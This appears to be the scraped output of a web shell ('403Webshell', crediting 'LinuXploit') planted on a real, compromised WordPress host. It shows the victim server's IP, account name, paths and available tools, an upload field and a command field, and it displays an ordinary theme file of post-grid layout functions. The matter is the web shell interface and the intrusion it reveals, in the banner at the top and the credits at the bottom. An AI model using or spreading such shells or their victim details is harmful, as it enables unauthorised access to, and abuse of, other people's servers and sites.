403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/glaza/templates/layouts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/glaza/templates/layouts/module-grid.php
<?php
/**
 * @param array $settings
 * @param null  $query_data
 * loop grid
 */
if ( ! function_exists( 'glaza_post_fw_grid_1' ) ) :
	function glaza_post_fw_grid_1( $settings = array(), $query_data = null ) {

		if ( empty( $settings['post_columns'] ) ) {
			$settings['post_columns'] = 3;
		}

		$title_size = 'size-3';
		$feat_size  = 'glaza_crop_400x480';

		if ( ! empty( $settings['shopthepost'] ) ) {
			$settings['shop_icon'] = true;
		}
		if ( '2' == $settings['post_columns'] ) {
			$title_size = 'size-2';
			$feat_size  = 'glaza_crop_600x600';
		} ?>
		<article class="post-wrap post-grid post-fw post-grid-1">
			<?php if ( has_post_thumbnail() ) : ?>
				<div class="post-thumb-outer">
					<?php
					glaza_post_extra_info( $settings );
					glaza_post_thumb( $feat_size );
					?>
				</div>
			<?php endif; ?>
			<div class="post-header">
				<?php
				glaza_post_meta_info();
				glaza_post_title( $title_size );
				glaza_post_excerpt( $settings );
				glaza_post_readmore( $settings );
				?>
			</div>
		</article>
	<?php
	}
endif;


/**
 * @param array $settings
 * @param null  $query_data
 * loop grid
 */
if ( ! function_exists( 'glaza_post_hs_grid_1' ) ) :
	function glaza_post_hs_grid_1( $settings = array(), $query_data = null ) {

		if ( empty( $settings['post_columns'] ) ) {
			$settings['post_columns'] = 2;
		}

		$title_size = 'size-3';
		$feat_size  = 'glaza_crop_400x480';

		if ( ! empty( $settings['shopthepost'] ) ) {
			$settings['shop_icon'] = true;
		} ?>
		<article class="post-wrap post-grid post-hs post-grid-1">
			<?php if ( has_post_thumbnail() ) : ?>
				<div class="post-thumb-outer">
					<?php
					glaza_post_extra_info( $settings );
					glaza_post_thumb( $feat_size );
					?>
				</div>
			<?php endif; ?>
			<div class="post-header">
				<?php
				glaza_post_meta_info();
				glaza_post_title( $title_size );
				glaza_post_excerpt( $settings );
				glaza_post_readmore( $settings );
				?>
			</div>
		</article>
	<?php
	}
endif;


/**
 * @param array $settings
 * @param null  $query_data
 * loop grid
 */
if ( ! function_exists( 'glaza_post_grid_3' ) ) :
	function glaza_post_grid_3( $settings = array(), $query_data = null ) {
		?>
		<article class="post-wrap post-grid-3">
			<?php if ( has_post_thumbnail() ) : ?>
				<div class="post-thumb-outer">
					<?php glaza_post_thumb( 'glaza_crop_200x200' ); ?>
				</div>
			<?php endif; ?>
			<?php glaza_post_title( 'size-4' ); ?>
		</article>
	<?php
	}
endif;


/**
 * @param array $settings
 * @param null  $query_data
 * loop grid
 */
if ( ! function_exists( 'glaza_post_grid_4' ) ) :
	function glaza_post_grid_4( $settings = array(), $query_data = null ) {
		?>
		<article class="post-wrap post-grid-4">
			<?php if ( has_post_thumbnail() ) : ?>
				<div class="post-thumb-outer">
					<?php glaza_post_thumb( 'glaza_crop_200x200' ); ?>
				</div>
			<?php endif;
			glaza_post_title( 'size-4' );
			$small_date = glaza_get_option( 'small_date' );
			if ( ! empty( $small_date ) ) {
				glaza_post_meta_info( array( 'date' => true ) );
			} ?>
		</article>
	<?php
	}
endif;


/**
 * @param array $settings
 * @param null  $query_data
 * loop grid
 */
if ( ! function_exists( 'glaza_post_fw_grid_2' ) ) :
	function glaza_post_fw_grid_2( $settings = array(), $query_data = null ) {

		if ( empty( $settings['post_columns'] ) ) {
			$settings['post_columns'] = 3;
		}

		$title_size = 'size-3';
		$feat_size  = 'glaza_crop_400x540';

		if ( ! empty( $settings['shopthepost'] ) ) {
			$settings['shop_icon'] = true;
		}

		if ( '2' == $settings['post_columns'] ) {
			$title_size = 'size-2';
			$feat_size  = 'glaza_crop_600x600';
		} elseif ( '4' == $settings['post_columns'] ) {
			$title_size = 'size-4';
		} ?>
		<article class="post-wrap post-grid post-fw post-grid-2">
			<div class="post-thumb-outer">
				<?php glaza_post_extra_info( $settings ); ?>
				<?php if ( has_post_thumbnail() ) :
					glaza_post_thumb( $feat_size );
				else : ?>
					<div class="no-thumb-holder"></div>
				<?php endif; ?>
				<div class="post-header-overlay is-light-text">
					<?php
					glaza_post_meta_info();
					glaza_post_title( $title_size );
					glaza_post_readmore( $settings );
					?>
				</div>
			</div>
		</article>
	<?php
	}
endif;


if ( ! function_exists( 'glaza_post_hs_grid_2' ) ) :
	function glaza_post_hs_grid_2( $settings = array(), $query_data = null ) {

		if ( empty( $settings['post_columns'] ) ) {
			$settings['post_columns'] = 2;
		}

		$title_size = 'size-3';
		$feat_size  = 'glaza_crop_400x540';

		if ( ! empty( $settings['shopthepost'] ) ) {
			$settings['shop_icon'] = true;
		}        ?>
		<article class="post-wrap post-grid post-hs post-grid-2">
			<div class="post-thumb-outer">
				<?php glaza_post_extra_info( $settings ); ?>
				<?php if ( has_post_thumbnail() ) :
					glaza_post_thumb( $feat_size );
				else : ?>
					<div class="no-thumb-holder"></div>
				<?php endif; ?>
				<div class="post-header-overlay is-light-text">
					<?php
					glaza_post_meta_info();
					glaza_post_title( $title_size );
					glaza_post_readmore( $settings );
					?>
				</div>
			</div>
		</article>
	<?php
	}
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit